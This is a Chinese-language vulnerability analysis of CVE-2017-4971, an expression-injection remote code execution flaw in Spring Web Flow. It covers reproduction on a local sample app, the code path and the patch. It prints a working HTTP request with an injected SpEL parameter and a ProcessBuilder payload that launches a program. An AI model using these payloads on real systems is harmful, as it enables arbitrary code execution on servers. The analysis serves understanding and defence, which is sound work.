【漏洞分析】Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞简介

漏洞是由于Spring Web Flow的数据绑定问题带来的表达式注入,从而导致任意代码执行。 Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力,具体可以参考Spring Web Flow 2.0 入门

触发漏洞需要满足两个条件:

  • MvcViewFactoryCreator 对象的useSpringBeanBinding 参数需要设置为false(默认值)。
  • flow view对象中设置BinderConfiguration对象为空

影响版本:

  • Spring Web Flow 2.4.0 to 2.4.4
  • Older unsupported versions are also affected

漏洞复现

漏洞测试源码为 https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc, 来源于Spring Web Flow官方的Example中的例子,booking-mvc中的某个流满足漏洞触发的条件

  • flow view对象中设置BinderConfiguration对象为空

path: src/main/webapp/WEB-INF/hotels/booking/booking-flow.xml

可以看出booking model中的confirm没有设置binder,也就是说在confirm阶段是可以触发漏洞的。

  • useSpringBeanBinding 参数设置为false
    参数默认是false, 但是在官方例子中设置为true了, 需要改源码如下:

path: src/main/java/org/springframework/webflow/samples/booking/config/WebFlowConfig.java

修改源码后,部署环境,然后访问,随便选取一个酒店进行预定。

预定第二步拦截确认请求,增加post参数_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty如下,返回响应头中包含vulnerable: True, 验证漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /hotels/booking?execution=e1s2 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
Referer: http://127.0.0.1:8080/hotels/booking?execution=e1s2
Cookie: JSESSIONID=BF4269E94E8F9108D72B2FB9864C6E53
Connection: close
Upgrade-Insecure-Requests: 1

_eventId_confirm=&_csrf=92a961cd-69f5-4436-8834-a9b1e33ca87a&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

HTTP/1.1 302
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-store
Pragma:
Expires:
X-Frame-Options: DENY
vulnerable: True
Location: /hotels/search
Content-Length: 0
Date: Tue, 18 Jul 2017 06:23:18 GMT
Connection: close

弹个计算器试试, payload:
_(new+java.lang.ProcessBuilder("/usr/bin/open", "/Applications/Calculator.app")).start()=iswin

漏洞流程

view对象处理用户事件,会根据HTTP参数绑定相应的model。

如果model没有设置BinderConfiguration, 则会调用addDefaultMappings函数。

进一步查看addDefaultMappings函数,可以发现输入参数以fieldMarkerPrefix(“_”)开头,则会调用addEmptyValueMapping函数。

useSpringBeanBinding参数设置为false,则 expressionParser将设置为SpelExpressionParser对象的实例,而不是BeanWrapperExpressionParser对象的实例。当调用getValueType函数时,SpelExpressionParser对象将执行表达式,触发任意代码执行。

补丁分析

从补丁可以看出,直接将ExpressionParser设置为BeanWrapperExpressionParser对象的实例, 默认是执行不了表达式的。

Ref